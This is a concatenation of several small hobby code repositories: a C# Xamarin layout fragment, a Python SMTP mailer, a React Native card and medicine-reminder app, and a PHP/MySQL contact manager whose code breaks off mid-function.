new RowDefinition { Height = ScreenWidth * 0.040 },
new RowDefinition { Height = ScreenHeight * 0.155 },
new RowDefinition { Height = ScreenHeight * 0.155 },
new RowDefinition { Height = ScreenHeight * 0.155 },
new RowDefinition { Height = ScreenHeight * 0.155 },
new RowDefinition { Height = ScreenHeight * 0.155 }
},
ColumnDefinitions =
{
new ColumnDefinition { Width = ScreenHeight * 0.120 },
new ColumnDefinition { Width = ScreenHeight * 0.155 },
new ColumnDefinition { Width = ScreenHeight * 0.155 },
new ColumnDefinition { Width = ScreenHeight * 0.155 },
new ColumnDefinition { Width = ScreenHeight * 0.155 },
new ColumnDefinition { Width = ScreenHeight * 0.155 }
}
};
}
else
{
grid = new CustomGrid
{
RowSpacing = ScreenHeight * 0.005,
ColumnSpacing = ScreenHeight * 0.005,
RowDefinitions =
{
new RowDefinition { Height = ScreenHeight * 0.040 },
new RowDefinition { Height = ScreenWidth * 0.155 },
new RowDefinition { Height = ScreenWidth * 0.155 },
new RowDefinition { Height = ScreenWidth * 0.155 },
new RowDefinition { Height = ScreenWidth * 0.155 },
new RowDefinition { Height = ScreenWidth * 0.155 }
},
ColumnDefinitions =
{
new ColumnDefinition { Width = ScreenWidth * 0.120 },
new ColumnDefinition { Width = ScreenWidth * 0.155 },
new ColumnDefinition { Width = ScreenWidth * 0.155 },
new ColumnDefinition { Width = ScreenWidth * 0.155 },
new ColumnDefinition { Width = ScreenWidth * 0.155 },
new ColumnDefinition { Width = ScreenWidth * 0.155 }
}
};
}
return grid;
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.FontSize = AppSetting.Current.FontSize.Large;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.FontAttributes = FontAttributes.Bold;
btn.WidthRequest = ScreenWidth * 0.800;
btn.HorizontalOptions = LayoutOptions.Center;
btn.Margin = new Thickness(0, ScreenHeight * 0.030, 0, ScreenHeight * 0.030);
btn.HeightRequest = ScreenHeight * 0.065;
return btn;
}
}
}
| 68a6735e0263b1f109ce6c85f771463a2f26f7d3 | [
"C#"
] | 128 | C# | STemelakiev/GSK_Saftey | ddf88411423e31c83fccb5554cf51ed8dfafa21d | a67ecaeccb53f43c96d2811ab7ba9775a3657b2a |
refs/heads/master | <repo_name>vivekptnk/Mailing-Client<file_sep>/README.md
# Mailing-Client
This is a mailing client in python using SMTP.
`main.py` uses Gmail SMTP, feel free to use it with other SMTP clients.
Create two new files and name them `password.txt` and 'email.txt' and add your password and email inside it, I recommend encrypting the `.txt` files and decrypting them in the main.py file, this program doesn't do that.
<file_sep>/main.py
import smtplib
from email import encoders
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
server = smtplib.SMTP('smtp.gmail.com', 25) # Set up SMTP server
# Start Server
server.ehlo()
server.starttls()
with open('password.txt', 'r') as f: # import password from your password.txt
password = f.read()
with open('email.txt', 'r') as f: # import email from your password.txt
email = f.read()
server.login(email, password) # login using email, password
msg = MIMEMultipart()
msg['From'] = '<NAME>' # Add your name here
msg['To'] = '<EMAIL>' # Just a spam email reciever for testing, you can replace with the person you want to send.
msg['Subject'] = 'Test' # Subject for your email
# open your email message
with open('mailmessage.txt', 'r') as f :
message = f.read()
msg.attach(MIMEText(message, 'plain')) # Attach the message to the email using MIMEText
# set up attahment you want to add to the email
filename = 'mailimage.jpeg'
attachment = open(filename, 'rb')
# Attach payload using MIMEBase
p = MIMEBase('application', 'octet-stream')
p.set_payload(attachment.read())
# Encode and add header
encoders.encode_base64(p)
p.add_header('Content-Disposition', f'attachment; filename = {filename}')
msg.attach(p)
text = msg.as_string()
server.sendmail(email, '<EMAIL>', text) | bbc2ab9489a912161179cb137c28dbffbd95be2d | [
"Markdown",
"Python"
] | 2 | Markdown | vivekptnk/Mailing-Client | 1fe8dfa53fdab53e4df25bf78b2984fe0e683e0a | bb1ad4c0911eeb79b2ed9f607930280f66823ef1 |
refs/heads/master | <file_sep>import axios from 'axios';
const api = axios.create({
baseURL: 'https://some-domain.com/api/clientes/',
timeout: 1000,
headers: { Authorization: '<KEY>},
});
export default api;
<file_sep>import React, { Component } from 'react';
import { View, Image, Text } from 'react-native';
import Styles from '../styles/Styles';
import splashScreenLogo from '../../assets/splashScreenLogo.png';
import AsyncStorage from '@react-native-community/async-storage';
import LinearGradient from 'react-native-linear-gradient';
import { StackActions, NavigationActions } from 'react-navigation';
export default class SplashScreen extends Component {
_logOut = () => {
const resetAction = StackActions.reset({
index: 0,
actions: [NavigationActions.navigate({ routeName: 'SplashRouter' })],
});
this.props.navigation.dispatch(resetAction);
};
componentDidMount = () => {
setTimeout(() => {
AsyncStorage.getItem('cpf').then(value => {
this.setState({ cpf: '' });
});
}, 100);
setTimeout(() => {
AsyncStorage.getItem('signedIn').then(value => {
this.setState({ signedIn: false });
});
}, 100);
setTimeout(() => {
this._logOut
}, 100);
};
render() {
return (
<LinearGradient
colors={['#2AAFB0', '#5C2AD1']}
style={Styles.linearGradient}
>
<View style={Styles.LogOutContainer}>
{/* <Image source={logoBorder} style={Styles.cadastroLogo} /> */}
<Text style={Styles.mensageTitleLogOut}>Saindo</Text>
</View>
</LinearGradient>
);
}
}
<file_sep>import React, { Component } from 'react';
import {
Modal,
View,
Text,
TextInput,
StyleSheet,
TouchableWithoutFeedback,
TouchableOpacity,
Alert,
Picker,
DatePickerAndroid,
Plataform
} from 'react-native';
import moment from 'moment';
import 'moment/locale/pt-br';
const initialState = {
id: '',
remedio: '',
date: new Date(),
horas: ''
};
export default class AddMedicine extends Component {
state = { ...initialState };
save = () => {
if (!this.state.remedio.trim()) {
Alert.alert('Dados Inválidos, Informe um nome para seu medicamento.');
return;
}
const data = { ...this.state };
this.props.onSave(data);
this.setState({ ...initialState });
};
handleDateAndroidChanged = () => {
DatePickerAndroid.open({
date: this.state.inicio
}).then(e => {
if (e.action !== DatePickerAndroid.dismissedAction) {
const momentDate = moment(this.state.inicio)
momentDate.date(e.day)
momentDate.month(e.month)
momentDate.year(e.year)
this.setState({ inicio: momentDate.toDate() })
}
})
}
render() {
let datePicker = null
if (Platform.OS === 'ios') {
datePicker = <DatePickerIOS mode='date' date={this.state.inicio}
onDateChange={date => this.setState({ inicio })} />
} else {
datePicker = (
<TouchableOpacity onPress={this.handleDateAndroidChanged}>
<Text style={{ height: 50, fontSize: 16, marginLeft: 10 }}>
{moment(this.state.inicio).format('L [as] LT')}
</Text>
</TouchableOpacity>
)
}
return (
<Modal
onRequestClose={this.props.onCancel}
visible={this.props.isVisible}
animationType="slide"
transparent={true}
>
<TouchableWithoutFeedback onPress={this.props.onCancel}>
<View style={styles.offset} />
</TouchableWithoutFeedback>
<View style={styles.container}>
<Text style={styles.header}>Inserir Medicamento</Text>
<TextInput
placeholder="<NAME>"
style={styles.input}
onChangeText={remedio => this.setState({ remedio })}
value={this.state.remedio}
/>
<View
style={{
flexDirection: 'row',
marginTop: 10,
marginLeft: 12,
width: '90%'
}}
>
<Text
style={{
height: 50,
fontSize: 16,
marginTop: 13
}}
>
Intervalo:
</Text>
<Picker
selectedValue={this.state.horas}
style={{
height: 50,
fontSize: 16,
width: '60%',
}}
onValueChange={(itemValue, itemIndex) =>
this.setState({ horas: itemValue })
}
>
<Picker.Item label="A cada 1 horas" value="1" />
<Picker.Item label="A cada 2 horas" value="2" />
<Picker.Item label="A cada 3 horas" value="3" />
<Picker.Item label="A cada 4 horas" value="4" />
<Picker.Item label="A cada 6 horas" value="6" />
<Picker.Item label="A cada 8 horas" value="8" />
<Picker.Item label="A cada 12 horas" value="12" />
<Picker.Item label="A cada 24 horas" value="24" />
<Picker.Item label="A cada 48 horas" value="48" />
<Picker.Item label="A cada 1 semana" value="168" />
<Picker.Item label="A cada 15 dias" value="360" />
<Picker.Item label="A cada 1 mês" value="720" />
</Picker>
</View>
<View
style={{
flexDirection: 'row',
justifyContent: 'flex-start',
marginTop: 10,
marginLeft: 12,
width: '90%'
}}
>
<Text style={{ height: 50, fontSize: 16 }}>Inicio:</Text>
{datePicker}
</View>
<View style={{ flexDirection: 'row', justifyContent: 'flex-end' }}>
<TouchableOpacity onPress={this.props.onCancel}>
<Text style={styles.button}>Cancelar</Text>
</TouchableOpacity>
<TouchableOpacity onPress={this.save}>
<Text style={styles.button}>Salvar</Text>
</TouchableOpacity>
</View>
</View>
<TouchableWithoutFeedback onPress={this.props.onCancel}>
<View style={styles.offset} />
</TouchableWithoutFeedback>
</Modal>
);
}
}
var styles = StyleSheet.create({
container: {
backgroundColor: 'white',
justifyContent: 'space-between'
},
offset: {
flex: 1,
backgroundColor: 'rgba(54, 40, 156,0.7)'
},
button: {
margin: 20,
marginRight: 30,
color: '#000'
},
header: {
backgroundColor: '#FFC74A',
color: '#fff',
textAlign: 'center',
padding: 15,
fontSize: 15,
},
input: {
width: '90%',
height: 40,
marginTop: 10,
marginLeft: 10,
backgroundColor: 'white',
borderWidth: 1,
borderColor: '#e3e3e3',
borderRadius: 6,
},
});
<file_sep>const configApi = (cpf) => {
method: 'get',
url: 'http://srv01.vetorsolucoes.com.br:8183/api/clientes/' + cpf,
headers: {
Authorization:
'<KEY>
},
export default configApi<file_sep>import React, { Component } from 'react';
import { View, Image } from 'react-native';
import Styles from '../styles/Styles';
import splashScreenLogo from '../../assets/splashScreenLogo.png';
export default class SplashScreen extends Component {
componentDidMount = () => {
setTimeout(() => {
this.props.navigation.navigate('FirstScreen');
}, 3000);
};
render() {
return (
<View style={Styles.splashScreenContainer}>
<Image source={splashScreenLogo} style={Styles.splashScreenLogo} />
</View>
);
}
}
<file_sep>import React, { Component } from 'react';
import { View, Text, Image, TouchableHighlight } from 'react-native';
import LinearGradient from 'react-native-linear-gradient';
import Styles from '../styles/Styles';
import logoBorder from '../../assets/logoBorder.png';
export default class FirstScreen extends Component {
render() {
return (
<LinearGradient
colors={['#2AAFB0', '#5C2AD1']}
style={Styles.linearGradient}
>
<View style={Styles.container}>
<Image source={logoBorder} style={Styles.logoBorderFirstScreen} />
<TouchableHighlight
onPress={() => {
this.props.navigation.navigate('LoginScreen');
}}
style={Styles.buttonTouch}
underlayColor="#fff"
>
<Text style={Styles.button}>Login</Text>
</TouchableHighlight>
<TouchableHighlight
onPress={() => {
this.props.navigation.navigate('RegisterScreen');
}}
style={Styles.buttonTouch}
underlayColor="#fff"
>
<Text style={Styles.button}><NAME></Text>
</TouchableHighlight>
</View>
</LinearGradient>
);
}
}
<file_sep>import React, { Component } from 'react';
import { View, Text, StyleSheet, Image, ImageBackground } from 'react-native';
import axios from 'axios';
import LinearGradient from 'react-native-linear-gradient';
import Styles from '../styles/Styles';
import logoBorder from '../../assets/logoBorder.png';
import infoCard from '../../assets/infoCard.png';
import Header from '../components/Header';
import AsyncStorage from '@react-native-community/async-storage';
export default class InforCardScreen extends Component {
constructor(props) {
super(props);
this.state = {
cpf: '',
cpfCgc: '',
user: {
name: '',
limiteCredito: '',
saldoCredito: '',
creditoUtilizado: ''
},
};
}
async recuperarItem() {
try {
const data = await AsyncStorage.getItem('cpf');
const cpf = JSON.parse(data) || [];
return cpf.toString();
} catch (err) {
return err.message;
}
}
componentDidMount() {
this.recuperarItem().then(cpf => {
this.setState({ cpf: cpf, cpfCgc: cpf });
});
}
retornaCpf = cpf => {
const str = cpf;
const a = str.substr(0, 3);
const b = str.substr(3, 3);
const c = str.substr(6, 3);
const d = str.substr(9, 2);
const total = `${a}.${b}.${c}-${d}`;
return total;
};
render() {
const cpf = this.state.cpf;
const config = {
method: 'get',
url: 'http://srv01.vetorsolucoes.com.br:8183/api/clientes/' + cpf,
headers: {
Authorization:
'<KEY>
},
};
const response = axios(config)
.then(response => {
this.setState({
cpfCgc: response.data.cpfCgc,
user: {
name: response.data.nome,
limiteCredito: response.data.limiteCredito,
saldoCredito: response.data.saldoCredito,
creditoUtilizado: response.data.creditoUtilizado,
},
});
})
.catch(function(error) {
this.setState.user.error = error;
});
return (
<View style={Styles.infoCardContainer}>
<Header />
<View style={Styles.card}>
<ImageBackground source={infoCard} style={Styles.insideCard}>
<Text style={Styles.titleSaldo}>Saldo</Text>
<Text style={Styles.titleValue}>
R$ {this.state.user.saldoCredito}
</Text>
</ImageBackground>
</View>
<View style={Styles.personalData}>
<Text style={Styles.titleInfo}>Nome:</Text>
<Text style={Styles.titleInfoPersonal}>{this.state.user.name}</Text>
<Text style={Styles.titleInfo}>CPF:</Text>
<Text style={Styles.titleInfoPersonal}>
{this.retornaCpf(this.state.cpf)}
{/* {typeof(this.state.cpf)} */}
</Text>
<Text style={Styles.titleInfo}>Limite:</Text>
<Text style={Styles.titleInfoPersonal}>
R$ {this.state.user.limiteCredito}
</Text>
</View>
</View>
);
}
}
<file_sep>import React, { Component } from "react";
import { View, Text, StyleSheet, Image, TextInput, TouchableHighlight, ScrollView } from "react-native";
import LinearGradient from "react-native-linear-gradient";
import Styles from "../styles/Styles";
import logoBorder from "../../assets/logoBorder.png";
import Button from "../components/Button";
import TextInputMask from 'react-native-text-input-mask';
export default class LoginScreen extends Component {
state = {
nome: "",
cpf: "",
email: "",
confirmaEmail: "",
telefone: "",
endereco: ""
};
login = () => {
this.props.navigation.navigate("profile");
};
render() {
return (
<LinearGradient
colors={["#2AAFB0", "#5C2AD1"]}
style={Styles.linearGradient}
>
<ScrollView>
<View style={Styles.cadastroContainer}>
<Image source={logoBorder} style={Styles.cadastroLogo} />
<TextInput
placeholder="Digite seu Nome"
placeholderTextColor="#FFF"
style={Styles.InputCadastro}
// autoFocus={true}
keyboardType="default"
value={this.state.nome}
onChangeText={nome => this.setState({ nome })}
/>
<TextInputMask
placeholder="Digite seu CPF"
placeholderTextColor="#FFF"
style={Styles.InputCadastro}
autoFocus={true}
keyboardType="numeric"
value={this.state.cpf}
onChangeText={cpf =>
this.setState({ cpf: cpf.replace(/\.|\-/g, '') })
}
mask={'[000].[000].[000]-[00]'}
/>
<TextInput
placeholder="Digite seu e-mail"
placeholderTextColor="#FFF"
style={Styles.InputCadastro}
// autoFocus={true}
keyboardType="email-address"
value={this.state.email}
onChangeText={email => this.setState({ email })}
/>
<TextInput
placeholder="Confirme seu e-mail"
placeholderTextColor="#FFF"
style={Styles.InputCadastro}
// autoFocus={true}
keyboardType="email-address"
value={this.state.confirmaEmail}
onChangeText={confirmaEmail => this.setState({ confirmaEmail })}
/>
<TextInputMask
placeholder="Digite seu telefone"
placeholderTextColor="#FFF"
style={Styles.InputCadastro}
autoFocus={true}
keyboardType="numeric"
value={this.state.telefone}
onChangeText={telefone =>
this.setState({ telefone: telefone.replace(/\.|\-/g, '') })
}
mask={'([00])-[0]-[0000]-[0000]'}
/>
<TextInput
placeholder="Digite seu endereço"
placeholderTextColor="#FFF"
style={Styles.InputCadastro}
// autoFocus={true}
keyboardType="default"
value={this.state.endereco}
onChangeText={endereco => this.setState({ endereco })}
/>
<TouchableHighlight
style={Styles.buttonTouch}
underlayColor="#fff"
onPress={() => this.props.navigation.navigate('MensageScreen')}
>
<Text style={Styles.button}>Solicitar cartão</Text>
</TouchableHighlight>
<TouchableHighlight
style={Styles.buttonTouch}
underlayColor="#fff"
onPress={() => this.props.navigation.navigate('FirstScreen')}
>
<Text style={Styles.button}>Voltar</Text>
</TouchableHighlight>
</View>
</ScrollView>
</LinearGradient>
);
}
}
<file_sep>import React, { Component } from 'react';
import { View, Text, StyleSheet } from 'react-native';
import { SplashRouter } from './Navigator';
// import Navigator from './Navigator';
import {createAppContainer} from 'react-navigation';
import AsyncStorage from '@react-native-community/async-storage';
import { Provider } from 'react-redux';
import Styles from './styles/Styles';
import Header from './components/Header';
import FirstScreen from './pages/FirstScreen';
import SplashScreen from './pages/SplashScreen';
import LoginScreen from './pages/LoginScreen';
import RegisterScreen from './pages/RegisterScreen';
import InforCardScreen from './pages/InfoCardScreen';
import MainScreen from './pages/MainScreen';
import MensageScreen from './pages/MensageScreen';
export default class App extends Component {
constructor(props) {
super(props);
this.state = {
signedIn: AsyncStorage.getItem('signedIn'),
};
}
componentDidMount() {
AsyncStorage.getItem('signedIn').then(value => {
this.setState({ signedIn: true });
});
AsyncStorage.getItem("user").then(result => {
this.setState({ signedIn: false });
});
}
render() {
const Layout = SplashRouter(this.state.signedIn);
return <Layout />;
}
}
<file_sep>import React from 'react';
import {
StyleSheet,
Text,
View,
Dimensions,
TouchableHighlight,
} from 'react-native';
import moment from 'moment';
import 'moment/locale/pt-br';
const { height, width } = Dimensions.get('window');
export default props => {
return (
<TouchableHighlight
style={{ borderRadius: 8, marginTop: 15 }}
onLongPress={() => props.onDelete(props.id)}
>
<View style={itemEstilo}>
<View>
<Text style={[{ fontSize: 20 }, { color: '#6243d1' }]}>
{props.remedio}
</Text>
<Text style={[{ fontSize: 15 }, { color: '#6243d1' }]}>
Inicio:{' '}
{moment(props.inicio)
.locale('pt-br')
.format('L [as] LT')}
</Text>
</View>
<Text style={[{ fontSize: 25 }, { color: '#6243d1' }]}>
{props.horas}h
</Text>
</View>
</TouchableHighlight>
);
};
const itemEstilo = {
width: width * 0.9,
// marginTop: 15,
padding: 15,
height: height * 0.11,
backgroundColor: '#fff',
// borderWidth: 0.5,
// BorderColor: "#222",
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
borderRadius: 8,
};
const styles = StyleSheet.create({
exclude: {
flex: 1,
backgroundColor: 'red',
flexDirection: 'row',
justifyContent: 'flex-end',
alignItems: 'center'
},
excludeText: {
color: '#FFF',
fontSize: 20,
margin: 10,
},
});
<file_sep>import React, { Component } from 'react';
import {
createDrawerNavigator,
createSwitchNavigator,
DrawerItems,
SafeAreaView,
StackActions,
NavigationActions,
} from 'react-navigation';
import { View, Text, Image } from 'react-native';
import Styles from './styles/Styles';
import SplashScreen from './pages/SplashScreen';
import FirstScreen from './pages/FirstScreen';
import LoginScreen from './pages/LoginScreen';
import RegisterScreen from './pages/RegisterScreen';
import InforCardScreen from './pages/InfoCardScreen';
import MainScreen from './pages/MainScreen';
import MensageScreen from './pages/MensageScreen';
import LogOut from './pages/LogOut';
import logoDrawer from '../assets/logoBorder.png';
console.disableYellowBox = true;
_logOut = () => {
const resetAction = StackActions.reset({
index: 0,
actions: [NavigationActions.navigate({ routeName: 'SplashRouter' })],
});
this.props.navigation.dispatch(resetAction);
};
export const SplashRouter = (signedIn = false) => {
return createSwitchNavigator(
{
Splash: SplashScreen,
FirstScreen: {
screen: FirstScreen,
},
LoginScreen: {
screen: LoginScreen,
},
RegisterScreen: {
screen: RegisterScreen,
},
MensageScreen: {
screen: MensageScreen,
},
InsideApp: InsideApp,
},
{ initialRouteName: signedIn ? 'InsideApp' : 'Splash' }
);
};
const InsideApp = createDrawerNavigator(
{
MainScreen: {
screen: () => <MainScreen />,
navigationOptions: ({ navigation }) => ({
title: 'Medicamentos'
}),
},
InforCardScreen: {
screen: () => <InforCardScreen />,
navigationOptions: ({ navigation }) => ({
title: 'Meu Cartão'
}),
},
logOutPage: () => this._logOut(),
},
{
drawerWidth: 250,
contentComponent: props => <CustomDrawerHeader {...props} />,
}
);
const InitialScreen = createSwitchNavigator(
{
FirstScreen: {
screen: FirstScreen,
},
LoginScreen: {
screen: LoginScreen,
},
RegisterScreen: {
screen: RegisterScreen,
},
MensageScreen: {
screen: MensageScreen,
},
InsideApp: {
screen: InsideApp,
},
},
{ initialRouteName: 'FirstScreen' }
);
const CustomDrawerHeader = props => (
<SafeAreaView
style={{ flex: 1, flexDirection: 'column', marginTop: 20 }}
forceInset={{ top: 'always', horizontal: 'never' }}
>
<View style={{ alignSelf: 'center' }}>
<Image source={logoDrawer} style={Styles.logoDrawer} />
</View>
<DrawerItems {...props} />
</SafeAreaView>
);
// export default SplashRouter;
<file_sep>import React, { Component } from 'react';
import {
Modal,
View,
Text,
StyleSheet,
TouchableWithoutFeedback,
TouchableOpacity,
} from 'react-native';
import moment from 'moment';
import 'moment/locale/pt-br';
export default class DeleteMedicine extends Component {
render() {
return (
<Modal
onRequestClose={this.props.onCancel}
visible={this.props.isVisible}
animationType="slide"
transparent={true}
>
<TouchableWithoutFeedback onPress={this.props.onCancel}>
<View style={styles.offset} />
</TouchableWithoutFeedback>
<View style={styles.container}>
<Text style={styles.header}>Deletar Alarme de Medicamento?</Text>
<View style={{ flexDirection: 'row', justifyContent: 'flex-end' }}>
<TouchableOpacity onPress={this.props.onCancel}>
<Text style={styles.button}>Cancelar</Text>
</TouchableOpacity>
<TouchableOpacity onPress={this.props.onDelete(props.id)}>
<Text style={styles.button}>Deletar</Text>
</TouchableOpacity>
</View>
</View>
<TouchableWithoutFeedback onPress={this.props.onCancel}>
<View style={styles.offset} />
</TouchableWithoutFeedback>
</Modal>
);
}
}
var styles = StyleSheet.create({
container: {
backgroundColor: 'white',
justifyContent: 'space-between'
},
offset: {
flex: 1,
backgroundColor: 'rgba(54, 40, 156,0.7)'
},
button: {
margin: 20,
marginRight: 30,
color: '#000'
},
header: {
backgroundColor: '#FFC74A',
color: '#fff',
textAlign: 'center',
padding: 15,
fontSize: 15,
},
input: {
width: '90%',
height: 40,
marginTop: 10,
marginLeft: 10,
backgroundColor: 'white',
borderWidth: 1,
borderColor: '#e3e3e3',
borderRadius: 6,
},
});
<file_sep>import React from "react";
import { Text, TouchableHighlight } from "react-native";
import Styles from "../styles/Styles";
export default props => {
return (
<TouchableHighlight
onPress={() => {
props.onClick;
}}
style={Styles.buttonMedicineTouch}
underlayColor="#fff"
>
<Text style={Styles.buttonMedicine}>{props.label}</Text>
</TouchableHighlight>
);
};
<file_sep>import React, { Component } from "react";
import { View, ScrollView, FlatList, Text, Dimensions } from "react-native";
const { height, width } = Dimensions.get("window");
import Styles from "../styles/Styles";
const remedios = [
{ id: Math.random(), remedio: "Paracetamol", inicio: "08:00", horas: 8 },
{ id: Math.random(), remedio: "Propofol", inicio: "09:30", horas: 6 },
{ id: Math.random(), remedio: "Aspirina", inicio: "23:30", horas: 12 }
];
const itemEstilo = {
width: width * 0.9,
marginTop: 15,
padding: 15,
height: height * 0.11,
backgroundColor: "#fff",
// borderWidth: 0.5,
// BorderColor: "#222",
flexDirection: "row",
alignItems: "center",
justifyContent: "space-between",
borderRadius: 8
};
export const Remedio = props => (
<View style={itemEstilo}>
<View>
<Text style={[{ fontSize: 30 }, { color: "#6243d1" }]}>
{props.remedio}
</Text>
<Text style={[{ fontSize: 19 }, { color: "#6243d1" }]}>
Inicio: {props.inicio}
</Text>
</View>
<Text style={[{ fontSize: 40 }, { color: "#6243d1" }]}>{props.horas}h</Text>
</View>
);
export default props => {
const renderItem = ({ item }) => {
return <Remedio {...item} />;
};
return (
<ScrollView>
<FlatList
data={remedios}
renderItem={renderItem}
keyExtractor={(_, index) => index.toString()}
/>
</ScrollView>
);
};
<file_sep>import React, { Component } from 'react';
import { StyleSheet, Text, View, Image, TouchableOpacity } from 'react-native';
import logoHeader from '../../assets/logoHeader.png';
import menuHeader from '../../assets/menuHeader.png';
import Styles from '../styles/Styles';
export default class Header extends Component {
render() {
return (
<View style={Styles.headerContainer}>
<View style={Styles.headerRowContainer}>
<TouchableOpacity onPress={() => navigation.openDrawer()}>
<Image source={menuHeader} style={Styles.menuImage} />
</TouchableOpacity>
<Text style={Styles.headerTitle}>VALENTIN</Text>
<Image source={logoHeader} style={Styles.logoImage} />
</View>
</View>
);
}
}
| 0392de6072b899749d4b52c70c8ee6617a4150d3 | [
"JavaScript"
] | 15 | JavaScript | eduardolimasoares/Valentin | 1ccc0f5ea253a07c750452882d455ba839fae4f3 | 846c6753844647bcf78449a8564c2fb04eec47d8 |
refs/heads/main | <file_sep><?php
/*controleur contact.php :
fonctions-action de gestion des contacts
*/
function liste_contacts() {
require ("modele/contactBD.php");
$idn = (isset($_GET['id']))?$_GET['id']:$_SESSION['profil']['id_nom'];
$Contact = contacts($idn);
require ("vue/contact/liste_contacts.tpl");
}
function ajout_c() {
echo ("ajout_c :: ajout d'un contact <br/>");
}
function maj_c(){
echo ("maj_c :: mise à jour d'un contact <br/>");
}
function destr_c () {
echo ("destr_c :: destruction d'un contact <br/>");
}
?>
<file_sep>-- phpMyAdmin SQL Dump
-- version 3.5.1
-- http://www.phpmyadmin.net
--
-- Client: localhost
-- Généré le: Mer 23 Octobre 2013 à 14:25
-- Version du serveur: 5.5.24-log
-- Version de PHP: 5.4.3
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- Base de données: `econtact`
--
-- --------------------------------------------------------
--
-- Structure de la table `contact`
--
CREATE TABLE IF NOT EXISTS `contact` (
`id_nom` int(11) NOT NULL,
`id_contact` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Contenu de la table `contact`
--
INSERT INTO `contact` (`id_nom`, `id_contact`) VALUES
(1, 2),
(1, 3),
(3, 1),
(2, 1),
(2, 4),
(4, 2);
-- --------------------------------------------------------
--
-- Structure de la table `utilisateur`
--
CREATE TABLE IF NOT EXISTS `utilisateur` (
`id_nom` int(11) NOT NULL AUTO_INCREMENT,
`nom` text COLLATE utf8_bin NOT NULL,
`prenom` text COLLATE utf8_bin NOT NULL,
`num` text COLLATE utf8_bin NOT NULL,
`email` text COLLATE utf8_bin NOT NULL,
PRIMARY KEY (`id_nom`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin AUTO_INCREMENT=5 ;
--
-- Contenu de la table `utilisateur`
--
INSERT INTO `utilisateur` (`id_nom`, `nom`, `prenom`, `num`, `email`) VALUES
(1, 'Berger', 'Julien', 'all099', '<EMAIL>'),
(2, 'Karl', 'Karine', '4000', '<EMAIL>'),
(3, 'Pont', 'Hélene', '', '<EMAIL>'),
(4, 'Sunchine', '<NAME>', 'elfe0', '<EMAIL>');
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><?php
/*Fonctions-modèle réalisant les requètes de gestion des contacts en base de données*/
// liste_contact_bd : retourne la liste des informations pour chaque contact de l'utilisateur $id
function contacts($idn) {
require ("Modele/connectBD.php") ;
$sql="SELECT u.id_nom, nom, prenom, email FROM contact c, utilisateur u
WHERE c.id_nom=:id_nom AND c.id_contact = u.id_nom
LIMIT 0,30"; // LIMIT ne marche pas en MS SQL SERVER
try {
$commande = $pdo->prepare($sql);
$commande->bindParam(':id_nom', $idn);
$bool = $commande->execute();
$C= array();
if ($bool) {
while ($c = $commande->fetch()) {
$C[] = $c; //stockage dans $C des enregistrements sélectionnés
}
}
}
catch (PDOException $e) {
echo utf8_encode("Echec de select : " . $e->getMessage() . "\n");
die(); // On arrête tout.
}
return $C;
}
?>
<file_sep><?php
/*controleur utilisateur.php :
fonctions-action de gestion des utilisateurs
*/
function ident()
{
$nom = isset($_POST['nom']) ? trim($_POST['nom']) : ''; // trim pour enlever les espaces avant et apres
$num = isset($_POST['num']) ? trim($_POST['num']) : '';
$msg = "";
if (count($_POST) == 0) require ("vue/utilisateur/ident.tpl");
else
{
require ("./modele/utilisateurBD.php");
if (verif_bd($nom, $num, $profil))
{
$_SESSION['profil'] = $profil;
$nexturl = "index.php?controle=utilisateur&action=accueil";
header("Location:" . $nexturl);
}
else
{
$msg = "Utilisateur inconnu !";
require ("vue/utilisateur/ident.tpl");
}
}
}
function accueil()
{
require ("modele/contactBD.php");
$idn = $_SESSION['profil']['id_nom'];
$Contact = contacts($idn);
require ("vue/utilisateur/accueil.tpl");
}
function bye()
{
echo ("<h2>Au revoir M. ou Mdme " . $_SESSION['profil']['nom'] . "</h2>");
session_destroy();
}
function ajout_u()
{
echo ("ajout_u ::");
}
function maj_u()
{
echo ("maj_u ::");
}
function destr_u()
{
echo ("destr_u ::");
}
function inscription()
{
$nom = isset($_POST['nom']) ? ($_POST['nom']) : '';
$prenom = isset($_POST['prenom']) ? ($_POST['prenom']) : '';
$num = isset($_POST['num']) ? ($_POST['num']) : '';
$email = isset($_POST['email']) ? ($_POST['email']) : '';
$msg = '';
if (count($_POST) == 0) require ("vue/utilisateur/inscription.tpl");
else
{
require ("modele/inscriptionBD.php");
if (verif_existant($email))
{
$msg = "Utilisateur existant !";
require ("vue/utilisateur/inscription.tpl");
}
else if (!is_numeric($num))
{
$msg = "Le num / matricule doit être numérique !";
require ("vue/utilisateur/inscription.tpl");
}
else if (!ctype_alpha($prenom) || !ctype_alpha($nom))
{
$msg = "Le nom ou le prénom ne doit contenir que des lettres !";
require ("vue/utilisateur/inscription.tpl");
}
else if (!strpos($email, "@"))
{
$msg = "Le mail est incorrect";
require ("vue/utilisateur/inscription.tpl");
}
else
{
create_new($nom, $num, $prenom, $email, $profil);
require ("./modele/utilisateurBD.php");
verif_bd($nom, $num, $profil);
$_SESSION['profil'] = $profil;
$nexturl = "index.php?controle=utilisateur&action=accueil";
header("Location:" . $nexturl);
}
}
}
?>
<file_sep><?php
/*Fonctions-modèle réalisant les requètes de gestion des utilisateurs en base de données*/
// verif_bd : fonction booléenne.
// Si vraie, alors le profil de l'utilisateur est affecté en sortie à $profil
function verif_bd($nom,$num,&$profil) {
require('modele/connectBD.php'); //$pdo est défini dans ce fichier
$sql="SELECT * FROM `utilisateur` WHERE nom=:nom AND num=:num";
try {
$commande = $pdo->prepare($sql);
